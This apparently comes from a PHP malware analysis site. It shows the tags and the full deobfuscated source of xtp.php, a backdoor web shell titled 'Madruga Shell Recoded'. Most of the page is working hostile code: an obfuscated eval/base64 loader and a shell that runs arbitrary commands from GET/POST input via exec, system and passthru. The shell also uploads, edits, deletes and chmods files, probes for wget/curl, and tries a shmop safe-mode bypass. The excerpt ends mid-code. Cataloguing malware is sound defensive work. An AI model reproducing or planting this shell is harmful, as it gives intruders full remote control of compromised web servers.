PHP Malware Analysis

Back to list

Filename: xtp.php

Tags

Encoding
  • base64_decode
Emails
  • voandocomagol@gmail.com
Execution
  • system
  • eval
  • exec
  • passthru
  • shell_exec
Input
  • _GET
  • _POST
  • _FILES
Environment
  • set_time_limit
  • php_uname
  • getcwd
Files
  • file_get_contents
  • copy
  • move_uploaded_file

Deobfuscated code

<?php

/* This file is protected by copyright law and provided under license. Reverse engineering of this file is strictly prohibited. */
$OOO000000 = "fg6sbehpra4co_tnd";
$OOO0000O0 = "base";
$OOO0000O0 = "base64_d";
$OOO0000O0 = "base64_decode";
$OOO000O00 = "fopen";
$O0O000O00 = "fget";
$O0O000O0O = "fgetc";
$O0O000O00 = "fgets";
$O0O00OO00 = "fread";
$OOO00000O = "strtr";
$OOO0O0O00 = "/var/www/html/input.php";
$OO00O0000 = 0x7040;
eval /* PHPDeobfuscator eval output */ {
    $O000O0O00 = fopen($OOO0O0O00, 'rb');
    "<?php /* This file is protected by copyright law and provided under license. Reverse engineering of this file is strictly prohibited. */\$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');\$OOO0000O0=\$OOO000000{4}.\$OOO000000{9}.\$OOO000000{3}.\$OOO000000{5};\$OOO0000O0.=\$OOO000000{2}.\$OOO000000{10}.\$OOO000000{13}.\$OOO000000{16};\$OOO0000O0.=\$OOO0000O0{3}.\$OOO000000{11}.\$OOO000000{12}.\$OOO0000O0{7}.\$OOO000000{5};\$OOO000O00=\$OOO000000{0}.\$OOO000000{12}.\$OOO000000{7}.\$OOO000000{5}.\$OOO000000{15};\$O0O000O00=\$OOO000000{0}.\$OOO000000{1}.\$OOO000000{5}.\$OOO000000{14};\$O0O000O0O=\$O0O000O00.\$OOO000000{11};\$O0O000O00=\$O0O000O00.\$OOO000000{3};\$O0O00OO00=\$OOO000000{0}.\$OOO000000{8}.\$OOO000000{5}.\$OOO000000{9}.\$OOO000000{16};\$OOO00000O=\$OOO000000{3}.\$OOO000000{14}.\$OOO000000{8}.\$OOO000000{14}.\$OOO000000{8};\$OOO0O0O00=__FILE__;\$OO00O0000=0x7040;eval(\$OOO0000O0('JE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwT08wMCgkTzAwME8wTzAwLDB4NGY5KTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMHgxN2MpLCdFbnRlcnlvdXdraFJIWUtOV09VVEFhQmJDY0RkRmZHZ0lpSmpMbE1tUHBRcVNzVnZYeFp6MDEyMzQ1Njc4OSsvPScsJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSk7ZXZhbCgkT08wME8wME8wKTs='));return;?>~D";
    $OO00O00O0 = "\$OO00O00O0=str_replace('__FILE__',\"'\".\$OOO0O0O00.\"'\",\$OOO0000O0(\$OOO00000O(\$O0O00OO00(\$O000O0O00,\$OO00O0000),'EnteryouwkhRHYKNWOUTAaBbCcDdFfGgIiJjLlMmPpQqSsVvXxZz0123456789+/=','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/')));fclose(\$O000O0O00);eval(\$OO00O00O0);";
    eval /* PHPDeobfuscator eval output */ {
        $OO00O00O0 = "echo '<html>\r\n<head>\r\n<meta http-equiv=\"Content-Language\" content=\"pt-br\">\r\n<meta name=\"GENERATOR\" content=\"Microsoft FrontPage 5.0\">\r\n<meta name=\"ProgId\" content=\"AoD\">\r\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=iso-8859-1\">\r\n<title> Madruga Shell Recoded </title>\r\n<style type=\"text/css\">\r\nA:link {text-decoration:none}\r\nA:visited {text-decoration:none}\r\nA:hover {text-decoration:underline}\r\nA:active {text-decoration:underline}\r\nbody,td {\r\n\tfont-family: verdana;\r\n\tfont-size: 8pt;\r\n\tbackground-color: #000;\r\n}\r\na{\r\n\tcolor: #0000FF;\r\n\ttext-decoration: none;\r\n\tfont-weight: bold;\r\n}\r\na:hover {\r\n\tcolor: #FF0000;\r\n\ttext-decoration: underline;\r\n}\r\nbody,td,th {\r\n\tfont-weight: bold;\r\n\tcolor: #0f0;\r\n}\r\n</style>\r\n</head>\r\n<body text=\"#FFFFFF\" >\r\n<center><h2>SEU MADRUGA Shell Recoded</h2></center>\r\n<center>';\n@set_time_limit(0);\n\$IIIIIIIIIIIl = \$_SERVER['QUERY_STRING'];\n\$IIIIIIIIIII1 = 'shell?';\n\$IIIIIIIIIIlI = explode(\"\$IIIIIIIIIII1\",\$IIIIIIIIIIIl);\n\$IIIIIIIIIIl1 = \$IIIIIIIIIIlI[0];\n\$IIIIIIIIII1I = \$_SERVER['PHP_SELF'].\"?\".\$IIIIIIIIIIl1.\$IIIIIIIIIII1;\n\$IIIIIIIIII1l = @PHP_OS;\n\$IIIIIIIIII11 = '127.0.0.1';\n\$IIIIIIIIIlII = @php_uname();\n\$IIIIIIIIIlIl = @phpversion();\n\$IIIIIIIIIllI = @ini_get('safe_mode');\nif (\$IIIIIIIIIllI == '') {\$IIIIIIIIIllI = \"<i>OFF</i>\";}\nelse {\$IIIIIIIIIllI = \"<i>\$IIIIIIIIIllI</i>\";}\n\$IIIIIIIIIll1 = 'shell?';\necho \"<script type=\\\"text/javascript\\\">\";\necho \"function ChMod(chdir, file) {\";\necho \"var o = prompt('Chmod: - Contoh: 0777', '');\";\necho \"if (o) {\";\necho \"window.location=\\\"\\\" + '{\$IIIIIIIIII1I}&action=chmod&chdir=' + chdir + '&file=' + file + \r\n\r\n'&chmod=' + o + \\\"\\\";\";\necho \"}\";\necho \"}\";\necho \"function Rename(chdir, file, mode) {\";\necho \"if (mode == 'edit') {\";\necho \"var o = prompt('Rename Nama File '+ file + ' menjadi:', '');\";\necho \"}\";\necho \"else {\";\necho \"var o = prompt('Rename Nama Folder '+ file + ' menjadi:', '');\";\necho \"}\";\necho \"if (o) {\";\necho \"window.location=\\\"\\\" + '{\$IIIIIIIIII1I}&action=rename&chdir=' + chdir + '&file=' + file + \r\n\r\n'&newname=' + o + '&mode=' + mode +\\\"\\\";\";\necho \"}\";\necho \"}\";\necho \"function Copy(chdir, file) {\";\necho \"var o = prompt('Copied for:', '/tmp/' + file);\";\necho \"if (o) {\";\necho \"window.location=\\\"\\\" + '{\$IIIIIIIIII1I}&action=copy&chdir=' + chdir + '&file=' + file + \r\n\r\n'&fcopy=' + o + \\\"\\\";\";\necho \"}\";\necho \"}\";\necho \"function Mkdir(chdir) {\";\necho \"var o = prompt('Nama Folder?', 'Folder_Baru');\";\necho \"if (o) {\";\necho \"window.location=\\\"\\\" + '{\$IIIIIIIIII1I}&action=mkdir&chdir=' + chdir + '&newdir=' + o + \r\n\r\n\\\"\\\";\";\necho \"}\";\necho \"}\";\necho \"function Newfile(chdir) {\";\necho \"var o = prompt('Nama File?', 'NewFile.txt');\";\necho \"if (o) {\";\necho \"window.location=\\\"\\\" + '{\$IIIIIIIIII1I}&action=newfile&chdir=' + chdir + '&newfile=' + o + \r\n\r\n\\\"\\\";\";\necho \"}\";\necho \"}\";\necho \"</script>\";\nfunction cmd(\$IIIIIIIIIl1l) {\n\$IIIIIIIIIl11[1] = '';\nexec(\$IIIIIIIIIl1l,\$IIIIIIIIIl11[1]);\nif (empty(\$IIIIIIIIIl11[1])) {\n\$IIIIIIIIIl11[1] = shell_exec(\$IIIIIIIIIl1l);\n}\nelseif (empty(\$IIIIIIIIIl11[1])) {\n\$IIIIIIIIIl11[1] = passthru(\$IIIIIIIIIl1l);\n}\nelseif (empty(\$IIIIIIIIIl11[1])) {\n\$IIIIIIIIIl11[1] = system(\$IIIIIIIIIl1l);\n}\nelseif (empty(\$IIIIIIIIIl11[1])) {\n\$IIIIIIIII1ll = popen(\$IIIIIIIIIl1l,'r');\nwhile(!feof(\$IIIIIIIII1ll)) {\n\$IIIIIIIIIl11[1][] .= fgets(\$IIIIIIIII1ll);\n}\npclose(\$IIIIIIIII1ll);\n}\nreturn \$IIIIIIIIIl11[1];\n}\nif (@\$_GET['chdir']) {\n\$chdir = \$_GET['chdir'];\n}else {\n\$chdir = getcwd().\"/\";\n}\nif (@chdir(\"\$chdir\")) {\n\$IIIIIIIIlII1 = \"<font color=\\\"#FFFFFF\\\"> Directory Door, OK!</font>\";\n}else {\n\$IIIIIIIIlII1 = \"<font color=\\\"#FF0000\\\">Error: Could not enter folder!</font>\";\n\$chdir = str_replace(\$SCRIPT_NAME,\"\",\$_SERVER['SCRIPT_NAME']);\n}\n\$chdir = str_replace(chr(92),chr(47),\$chdir);\nif (@\$_GET['action'] == 'upload') {\n\$IIIIIIIIlIll = \$chdir;\n\$IIIIIIIIlIl1 = \$IIIIIIIIlIll.\$_FILES['userfile']['name'];\nif (@move_uploaded_file(\$_FILES['userfile']['tmp_name'],\$IIIIIIIIlIll .\n\$_FILES['userfile']['name'])) {\n\$IIIIIIIIlII1 = \"<font color=\\\"#FFFFFF\\\"><font \r\n\r\ncolor=\\\"#FFFFFF\\\">{\$_FILES['userfile']['name']}</font>, archieve valid, uploading complete. \r\n\r\n</font>\";\n}else {\n\$IIIIIIIIlII1 = \"<font color=\\\"#FF0000\\\">Error: couldnt upload file on server.</font>\";\n}\n}\nelseif (@\$_GET['action'] == 'mkdir') {\n\$newdir = \$_GET['newdir'];\nif (@mkdir(\"\$chdir\".\"\$newdir\")) {\n\$IIIIIIIIlII1 = \"<font color=\\\"#FFFFFF\\\"><font color=\\\"#FFFFFF\\\">{\$newdir}</font>, folder \r\nCreated. </font>\";\n}else {\n\$IIIIIIIIlII1 = \"<font color=\\\"#FF0000\\\">Error: Folder Make Error.</font>\";\n}\n}\nelseif (@\$_GET['action'] == 'newfile') {\n\$newfile = \$_GET['newfile'];\nif (@touch(\"\$chdir\".\"\$newfile\")) {\n\$IIIIIIIIlII1 = \"<font color=\\\"#FFFFFF\\\"><font color=\\\"#FFFFFF\\\">{\$newfile}</font>, berhasil \r\n\r\ndibuat! ye ke? </font>\";\n}else {\n\$IIIIIIIIlII1 = \"<font color=\\\"#FF0000\\\">Error: Pembuatan arsip gagal! entah?</font>\";\n}\n}\nelseif (@\$_GET['action'] == 'del') {\n\$file = \$_GET['file'];\$type = \$_GET['type'];\nif (\$type == 'file') {\nif (@unlink(\"\$chdir\".\"\$file\")) {\n\$IIIIIIIIlII1 = \"<font color=\\\"#FFFFFF\\\"><font color=\\\"#FFFFFF\\\">{\$file}</font>, Berhasil \r\n\r\nmenghapus arsip (file)!</font>\";\n}else {\n\$IIIIIIIIlII1 = \"<font color=\\\"#FF0000\\\">Error: Gagal menghapus arsip (file)!</font>\";\n}\n}elseif (\$type == 'dir') {\nif (@rmdir(\"\$chdir\".\"\$file\")) {\n\$IIIIIIIIlII1 = \"<font color=\\\"#FFFFFF\\\"><font color=\\\"#FFFFFF\\\">{\$file}</font>, Berhasil \r\n\r\nmenghapus folder!</font>\";\n}else {\n\$IIIIIIIIlII1 = \"<font color=\\\"#FF0000\\\">Error: Gagal menghapus folder!</font>\";\n}\n}\n}\nelseif (@\$_GET['action'] == 'chmod') {\n\$file = \$chdir.\$_GET['file'];\$chmod = \$_GET['chmod'];\nif (@chmod (\"\$file\",\$chmod)) {\n\$IIIIIIIIlII1 = \"<font color=\\\"#FFFFFF\\\">Chmod dari</font> <font \r\n\r\ncolor=\\\"#FFFFFF\\\">{\$_GET['file']}</font> <font color=\\\"#FFFFFF\\\">berubah menjadi</font> \r\n\r\n<font color=\\\"#FFFFFF\\\">\$chmod</font> <font color=\\\"#FFFFFF\\\">: Sukses!</font>\";\n}else {\n\$IIIIIIIIlII1 = '<font color=\\\"#FF0000\\\">Error: Gagal mengubah chmod.</font>';\n}\n}\nelseif (@\$_GET['action'] == 'rename') {\n\$file = \$_GET['file'];\$newname = \$_GET['newname'];\nif (@rename(\"\$chdir\".\"\$file\",\"\$chdir\".\"\$newname\")) {\n\$IIIIIIIIlII1 = \"<font color=\\\"#FFFFFF\\\">Archive</font> <font color=\\\"#FFFFFF\\\">{\$file}</font> \r\n\r\n<font color=\\\"#FFFFFF\\\">named for</font> <font color=\\\"#FFFFFF\\\">{\$newname}</font> <font \r\n\r\ncolor=\\\"#FFFFFF\\\">successfully!</font>\";\n}else {\n\$IIIIIIIIlII1 = \"<font color=\\\"#FF0000\\\">Error: Gagal mencalonkan arsip.</font>\";\n}\n}\nelseif (@\$_GET['action'] == 'copy') {\n\$file = \$chdir.\$_GET['file'];\$copy = \$_GET['fcopy'];\nif (@copy(\"\$file\",\"\$copy\")) {\n\$IIIIIIIIlII1 = \"<font color=\\\"#FFFFFF\\\">{\$file}</font>, <font color=\\\"#FFFFFF\\\">disalin \r\n\r\nmenjadi</font> <font color=\\\"#FFFFFF\\\">{\$copy}</font> <font color=\\\"#FFFFFF\\\"> \r\n\r\nBerhasil!</font>\";\n}else {\n\$IIIIIIIIlII1 = \"<font color=\\\"#FF0000\\\">Error: Gagal menyalin </font> <font \r\n\r\ncolor=\\\"#FFFFFF\\\">{\$file}</font> <font color=\\\"#FF0000\\\">menjadi</font> <font \r\n\r\ncolor=\\\"#FFFFFF\\\">{\$copy}</font></font>\";\n}\n}\nelseif (@\$_GET['action'] == 'cmd') {\nif (!empty(\$_GET['cmd'])) {\$cmd = @\$_GET['cmd'];}\nif (!empty(\$_POST['cmd'])) {\$cmd = @\$_POST['cmd'];}\n\$cmd = stripslashes(trim(\$cmd));\n\$IIIIIIIIl1ll = cmd(\$cmd);\n\$IIIIIIIIl1l1 = count(\$IIIIIIIIl1ll);\$IIIIIIIIl11l = 0;\$IIIIIIIIlII1 = '';\n\$IIIIIIIIlII1 .= \"<p style=\\\"color: #FFFFFF;text-align: center;font-family: 'Lucida \r\n\r\nConsole';font-size: 12px;margin 2\\\">Hasil : <b>\".\$cmd.\"</b></p>\";\nif (\$IIIIIIIIl1ll) {\nwhile (\$IIIIIIIIl11l <= \$IIIIIIIIl1l1) {\n\$IIIIIIIIlII1 .= \"<p style=\\\"color: #FFFFFF;text-align: left;font-family: \r\n\r\n'Lucida Console';font-size: 12px;margin 2\\\"> \".@\$IIIIIIIIl1ll[\$IIIIIIIIl11l].\"</p>\";\n\$IIIIIIIIl11l++;\n}\n}\nelse {\n\$IIIIIIIIlII1 .= \"<p style=\\\"color: #FF0000;text-align: center;font-family: 'Lucida \r\n\r\nConsole';font-size: 12px;margin 2\\\">Error: comando nao aceito.</p>\";\n}\n}\nelseif (@\$_GET['action'] == 'safemode') {\nif (@!extension_loaded('shmop')) {\necho \"Loading... module</br>\";\nif (strtoupper(substr(PHP_OS,0,3) == 'WIN')) {\n@dl('php_shmop.dll');\n}else {\n@dl('shmop.so');\n}\n}\nif (@extension_loaded('shmop')) {\necho \"Module: <b>shmop</b> loaded!</br>\";\n\$IIIIIIII1II1 = @shmop_open(0xff2,\"c\",0644,100);\nif (!\$IIIIIIII1II1) {echo \"Couldn't create shared memory segment\\n\";}\n\$IIIIIIII1IlI=\"\\x00\";\n\$IIIIIIII1Ill=-3842685;\n\$IIIIIIII1Il1 = @shmop_write(\$IIIIIIII1II1,\$IIIIIIII1IlI,\$IIIIIIII1Ill);\nif (\$IIIIIIII1Il1 != strlen(\$IIIIIIII1IlI)) {echo \"Couldn't write the entire length of \r\n\r\ndata\\n\";}\nif (!shmop_delete(\$IIIIIIII1II1)) {echo \"Couldn't mark shared memory block for deletion.\";}\necho passthru(\"id\");\nshmop_close(\$IIIIIIII1II1);\n}else {echo \"Module: <b>shmop</b> tidak dimuat!</br>\";}\n}\nelseif (@\$_GET['action'] == 'zipen') {\n\$file = \$_GET['file'];\n\$IIIIIIII1I11 = @zip_open(\"\$chdir\".\"\$file\");\n\$IIIIIIIIlII1 = '';\nif (\$IIIIIIII1I11) {\nwhile (\$IIIIIIII1lIl = zip_read(\$IIIIIIII1I11)) {\n\$IIIIIIIIlII1 .= \"Name:               \".zip_entry_name(\$IIIIIIII1lIl) .\"\\n\";\n\$IIIIIIIIlII1 .= \"Actual Filesize:    \".zip_entry_filesize(\$IIIIIIII1lIl) .\"\\n\";\n\$IIIIIIIIlII1 .= \"Compressed Size:    \".zip_entry_compressedsize(\$IIIIIIII1lIl) .\"\\n\";\n\$IIIIIIIIlII1 .= \"Compression Method: \".zip_entry_compressionmethod(\$IIIIIIII1lIl) .\"\\n\";\nif (zip_entry_open(\$IIIIIIII1I11,\$IIIIIIII1lIl,\"r\")) {\necho \"File Contents:\\n\";\n\$IIIIIIII1l11 = zip_entry_read(\$IIIIIIII1lIl,zip_entry_filesize(\$IIIIIIII1lIl));\necho \"\$IIIIIIII1l11\\n\";\nzip_entry_close(\$IIIIIIII1lIl);\n}\necho \"\\n\";\n}\nzip_close(\$IIIIIIII1I11);\n}\n}\nelseif (@\$_GET['action'] == 'edit') {\n\$file = \$_GET['file'];\n\$IIIIIIII11lI = '';\n\$IIIIIIII11ll = \"\$chdir\".\"\$file\";\n\$IIIIIIII11lI = @file_get_contents(\$IIIIIIII11ll);\n\$IIIIIIII11lI = htmlspecialchars(\$IIIIIIII11lI);\n\$IIIIIIII111I = \$_SERVER['HTTP_REFERER'];\necho \"<p align=\\\"center\\\">Editing {\$file} ...</p>\";\necho \"<table border=\\\"0\\\" cellpadding=\\\"0\\\" cellspacing=\\\"0\\\" style=\\\"border-collapse: \r\n\r\ncollapse\\\" width=\\\"100%\\\" id=\\\"editacao\\\">\";\necho \"<tr>\";\necho \"<td width=\\\"100%\\\">\";\necho \"<form method=\\\"POST\\\" \r\n\r\naction=\\\"{\$IIIIIIIIII1I}&action=save&chdir={\$chdir}&file={\$file}\\\">\";\necho \"<!--webbot bot=\\\"SaveResults\\\" u-file=\\\"_private/form_results.csv\\\" \r\n\r\ns-format=\\\"TEXT/CSV\\\" s-label-fields=\\\"TRUE\\\" --><p align=\\\"center\\\">\";\nprint \"<textarea rows=\\\"18\\\" name=\\\"S1\\\" cols=\\\"89\\\" style=\\\"font-family: Verdana; \r\n\r\nfont-size: 8pt; border: 1px solid #FFFFFF\\\">{\$IIIIIIII11lI}</textarea></p>\";\necho \"<p align=\\\"center\\\">\";\necho \"<input type=\\\"submit\\\" value=\\\"Simpan\\\" name=\\\"B2\\\" style=\\\"  border: 1px solid \r\n\r\n#FFFFFF\\\"> \";\necho \"<input type=\\\"button\\\" value=\\\"Tutup\\\" \r\n\r\nOnclick=\\\"javascript:window.location='{\$IIIIIIIIII1I}&chdir={\$chdir}'\\\" name=\\\"B1\\\" style=\\\"  \r\n\r\nborder: 1px solid #FFFFFF\\\"> \";\necho \"</form>\";\necho \"</td>\";\necho \"</tr>\";\necho \"</table>\";\n}\nelseif (@\$_GET['action'] == 'save') {\n\$IIIIIIII11ll = \"\$chdir\".\$_GET['file'];\n\$IIIIIIII111l = \$_POST['S1'];\n\$IIIIIIII111l = stripslashes(trim(\$IIIIIIII111l));\nif (is_writable(\$IIIIIIII11ll)) {\n@\$IIIIIIIII1ll = fopen (\$IIIIIIII11ll,\"w\");\n@\$IIIIIIIlIIIl = fwrite(\$IIIIIIIII1ll,\$IIIIIIII111l);\n@fclose(\$IIIIIIIII1ll);\nif (\$IIIIIIIII1ll &&\$IIIIIIIlIIIl) {\n\$IIIIIIIIlII1 = \"<font color=\\\"#FFFFFF\\\">{\$_GET['file']}</font>, <font \r\n\r\ncolor=\\\"#FFFFFF\\\">berhasil diedit!</font>\";\n}\n}else {\n\$IIIIIIIIlII1 = \"<font color=\\\"#FFFFFF\\\">{\$_GET['file']},</font> <font color=\\\"#FF0000\\\">tidak \r\n\r\nbisa ditulisi!</font>\";\n}\n}\n\$IIIIIIIlIIll = '';\nif (!empty(\$_GET['cmd'])) {\$IIIIIIIlIIll = @\$_GET['cmd'];}\nif (!empty(\$_POST['cmd'])) {\$IIIIIIIlIIll = @\$_POST['cmd'];}\n\$IIIIIIIlIIll = htmlspecialchars(\$IIIIIIIlIIll);\nfunction IIIIIIIlIIl1() {\n\$IIIIIIIlII1I = '';\nif (@file_exists(\"/usr/bin/wget\")) {\$IIIIIIIlII1I .= \"wget \";}\nif (@file_exists(\"/usr/bin/fetch\")) {\$IIIIIIIlII1I .= \"fetch \";}\nif (@file_exists(\"/usr/bin/curl\")) {\$IIIIIIIlII1I .= \"curl \";}\nif (@file_exists(\"/usr/bin/GET\")) {\$IIIIIIIlII1I .= \"GET \";}\nif (@file_exists(\"/usr/bin/lynx\")) {\$IIIIIIIlII1I .= \"lynx \";}\nreturn \$IIIIIIIlII1I;\n}\necho \"<form method=\\\"POST\\\" name=\\\"cmd\\\" \r\n\r\naction=\\\"{\$IIIIIIIIII1I}&action=cmd&chdir=\$chdir\\\">\";\necho \"<fieldset style=\\\"border: 1px solid #FFFFFF; padding: 2\\\">\";\necho \"<legend style='color:#0F0'>XxXxMadrugaxXxX</legend>\";\necho \"<br><table border=\\\"0\\\" cellpadding=\\\"0\\\" cellspacing=\\\"0\\\" style=\\\"border-collapse: \r\n\r\ncollapse; font-family: Verdana; font-size: 10px\\\" width=\\\"100%\\\">\";\necho \"<tr>\";\necho \"<td width=\\\"8%\\\">\";\necho \" <b>Sistem </b> </td> \";\necho \"<td width=\\\"92%\\\">: {\$IIIIIIIIII1l}</td>\";\necho \"</tr>\";\necho \"<tr>\";\necho \"<td width=\\\"8%\\\">\";\necho \" <b>Nama </b></td> \";\necho \"<td width=\\\"92%\\\">: {\$IIIIIIIIIlII}</td>\";\necho \"</tr>\";\necho \"<tr>\";\necho \"<td width=\\\"8%\\\">\";\necho \" <b>PHP </b></td> \";\necho \"<td width=\\\"92%\\\">: {\$IIIIIIIIIlIl}, <b> Safe Mode :</b> {\$IIIIIIIIIllI}</td>\";\necho \"</tr>\";\nif (strtoupper(substr(\$IIIIIIIIII1l,0,3) != 'WIN')) {\n\$IIIIIIIlII1l = IIIIIIIlIIl1();\nif (\$IIIIIIIlII1l == '') {\$IIIIIIIlII1l = \"???\";}\necho \"<tr>\";\necho \"<td width=\\\"8%\\\">\";\necho \"<b>Methods </b></td> \";\necho \"<td width=\\\"92%\\\">: {\$IIIIIIIlII1l}</td>\";\necho \"</tr>\";\n}\necho \"<tr>\";\necho \"<td width=\\\"8%\\\">\";\necho \" <b>IP </b></td> \";\necho \"<td width=\\\"92%\\\">: {\$IIIIIIIIII11}</td>\";\necho \"</tr>\";\necho \"<tr>\";\necho \"<td width=\\\"8%\\\">\";\necho \" <b>Command </b></td> \";\necho \"<td width=\\\"92%\\\">: <input type=\\\"text\\\" size=\\\"70\\\" name=\\\"cmd\\\" value=\\\"{\$IIIIIIIlIIll}\\\" \r\n\r\nstyle=\\\" font-size: 8 pt; border: 1px solid #FFFFFF\\\"> <input type=\\\"submit\\\" \r\n\r\nname=\\\"action\\\" value=\\\"CMD\\\" style=\\\" font-size: 8 pt; border: 1px solid \r\n\r\n#FFFFFF\\\"></td>\";\necho \"</tr>\";\necho \"</table><br>\";\necho \"</fieldset></form>\";\necho \"<form method=\\\"POST\\\" action=\\\"{\$IIIIIIIIII1I}&action=upload&chdir=\$chdir\\\" \r\n\r\nenctype=\\\"multipart/form-data\\\">\";\necho \"<!--webbot bot=\\\"FileUpload\\\" u-file=\\\"_private/form_results.csv\\\" \r\n\r\ns-format=\\\"TEXT/CSV\\\" s-label-fields=\\\"TRUE\\\" --><fieldset style=\\\"border: 1px solid \r\n\r\n#FFFFFF; padding: 2\\\">\";\nif (is_writable(\"\$chdir\")) {\nif (strtoupper(substr(\$IIIIIIIIII1l,0,3) == 'WIN')) {\necho \"<legend style='color:#0F0'>Dir <b>YES</b>: {\$chdir} - <a href=\\\"#[New Dir]\\\" \r\n\r\nonclick=\\\"Mkdir('{\$chdir}');\\\">CRIAR DIRETORIO</a> | <a href=\\\"#[New File]\\\" \r\n\r\nonclick=\\\"Newfile('{\$chdir}')\\\">CRIAR ARQUIVO</a> | <a \r\n\r\nhref=\\\"{\$IIIIIIIIII1I}&action=cmd&chdir={\$chdir}&cmd=\$IIIIIIIlII11\\\">REMOTO</a></legend>\";\n}else {\necho \"<legend>Dir <b>YES</b>: {\$chdir} - <a href=\\\"#[New Dir]\\\" \r\n\r\nonclick=\\\"Mkdir('{\$chdir}');\\\">CRIAR DIRETORIO</a> | <a href=\\\"#[New File]\\\" \r\n\r\nonclick=\\\"Newfile('{\$chdir}')\\\">CRIAR ARQUIVO</a> | <a \r\n\r\nhref=\\\"{\$IIIIIIIIII1I}&action=backtool&chdir={\$chdir}&write=yes\\\">Kembali</a></legend\r\n\r\n>\";\n}\n}\nelse {\nif (strtoupper(substr(\$IIIIIIIIII1l,0,3) == 'WIN')) {\necho \"<legend>Dir NO: {\$chdir} - <a href=\\\"#[New Dir]\\\" \r\n\r\nonclick=\\\"Mkdir('{\$chdir}');\\\">CRIAR DIRETORIO</a> | <a href=\\\"#[New File]\\\" \r\n\r\nonclick=\\\"Newfile('{\$chdir}')\\\">CRIAR ARQUIVO</a> | <a \r\n\r\nhref=\\\"{\$IIIIIIIIII1I}&action=cmd&chdir={\$chdir}&cmd={\$IIIIIIIlII11}\\\">REMOTO</a></legend>\";\n}else {\necho \"<legend>Dir NO: {\$chdir} - <a href=\\\"#[New Dir]\\\" \r\n\r\nonclick=\\\"Mkdir('{\$chdir}');\\\">Folder Baru</a> | <a href=\\\"#[New File]\\\" \r\n\r\nonclick=\\\"Newfile('{\$chdir}')\\\">CRIAR ARQUIVO</a> | <a \r\n\r\nhref=\\\"{\$IIIIIIIIII1I}&action=backtool&chdir={\$chdir}&write=no\\\">Kembali</a></legend>\r\n\r\n\";\n}\n}\nif (@!\$IIIIIIIII1ll = opendir(\"\$chdir\")) {\necho \" Gue gak bisa masuk folder, <a href=\\\"{\$IIIIIIIIII1I}\\\">Klik sini!</a> untuk embali ke \r\n\r\nfolder ori!</br>\";\n}\nelse {\necho \"  <table border=\\\"0\\\" cellpadding=\\\"5\\\" cellspacing=\\\"0\\\" width=\\\"100%\\\">\";\necho \"    <tr>\";\necho \"      <td width=\\\"100%\\\" colspan=\\\"4\\\"> Upload:\";\necho \"      <input type=\\\"file\\\" name=\\\"userfile\\\" size=\\\"65\\\" style=\\\"  border-style: \r\n\r\nsolid; border-width: 1\\\">\";\necho \"      <input type=\\\"submit\\\" value=\\\"UP\\\" name=\\\"B1\\\" style=\\\" border: 1px solid \r\n\r\n#FFFFFF\\\"></td>\";\necho \"    </tr>\";\necho \"    <tr>\";\necho \"      <td width=\\\"100%\\\" colspan=\\\"4\\\"> </td>\";\necho \"    </tr>\";\necho \"    <tr>\";\necho \"      <td width=\\\"100%\\\" colspan=\\\"4\\\">\";\nif (@!\$IIIIIIIIlII1) {\necho \"      <p align=\\\"left\\\">Messages</td>\";\n}else {\necho \"      <p align=\\\"left\\\">\$IIIIIIIIlII1</td>\";\n}\necho \"    </tr>\";\necho \"    <tr>\";\necho \"      <td width=\\\"100%\\\" colspan=\\\"4\\\"> </td>\";\necho \"    </tr></table> \";\necho \"   <table border=\\\"1\\\" cellpadding=\\\"2\\\" cellspacing=\\\"0\\\" width=\\\"100%\\\">\";\necho \"    <tr bgcolor=\\\"#000\\\" align=\\\"center\\\"> \";\necho \"      <td > Permision</td>\";\necho \"      <td > Nama File </td>\";\necho \"      <td > Kapasitas </td>\";\necho \"      <td > Command</td>\";\necho \"     </tr>\";\n\$IIIIIIIlIlIl = 0;\nwhile (false !== (\$file = readdir(\$IIIIIIIII1ll))) {\nif (\$file != '.') {\nif (\$IIIIIIIlIlIl == 0) {\n\$IIIIIIIlIllI = \"style=\\\"background-color: #000\\\"\";\n}\nelseif (\$IIIIIIIlIlIl == 1) {\n\$IIIIIIIlIllI = \"style=\\\"background-color:  #000\\\"\";\n}\nif (@is_dir(\"\$chdir\".\"\$file\")) {\n\$file = \$file.'/';\n\$IIIIIIIlIll1 = 'chdir';\n}else {\n\$IIIIIIIlIll1 = 'edit';\n}\nif (@substr(\"\$chdir\",strlen(\$chdir) -1,1) != '/') {\n\$chdir .= '/';\n}\nif (\$file == '../') {\n\$IIIIIIIlIl1I = strlen(\$chdir);\$IIIIIIIlIl1l = 0;\nfor (\$IIIIIIIlIl11 = 0;\$IIIIIIIlIl11 <\$IIIIIIIlIl1I;\$IIIIIIIlIl11++) {if (\$chdir{\$IIIIIIIlIl11}== '/') {\$IIIIIIIlIl1l++;}}\n\$IIIIIIIlI1II = explode(\"/\",\$chdir);\n\$IIIIIIIlI1Il = str_replace(\$IIIIIIIlI1II[\$IIIIIIIlIl1l-1].'/',\"\",\$chdir);\n}\n\$IIIIIIIlI1I1 = @fileperms (\"\$chdir\".\"\$file\");\nif (\$IIIIIIIlI1I1 == '') {\n\$IIIIIIIlI1I1 = '???';\n}\n\$IIIIIIIlI1ll = @filesize (\"\$chdir\".\"\$file\");\n\$IIIIIIIlI1ll = \$IIIIIIIlI1ll / 1024;\n\$IIIIIIIlI1ll = explode(\".\",\$IIIIIIIlI1ll);\nif (@\$IIIIIIIlI1ll[1] != '') {\n\$IIIIIIIlI1ll = \$IIIIIIIlI1ll[0].'.'.@substr(\"\$IIIIIIIlI1ll[1]\",0,2);\n}else {\n\$IIIIIIIlI1ll = \$IIIIIIIlI1ll[0];\n}\nif (\$IIIIIIIlI1ll == 0) {\nif (\$IIIIIIIlIll1 == 'chdir') {\n\$IIIIIIIlI1ll = '???';\n}\n}\necho \"<tr>\";\necho \"<td align=\\\"center\\\" \$IIIIIIIlIllI> \$IIIIIIIlI1I1</td>\";\nif (@is_writable (\"\$chdir\".\"\$file\")) {\nif (\$IIIIIIIlIll1 == 'chdir') {\nif (\$file == '../') {\necho 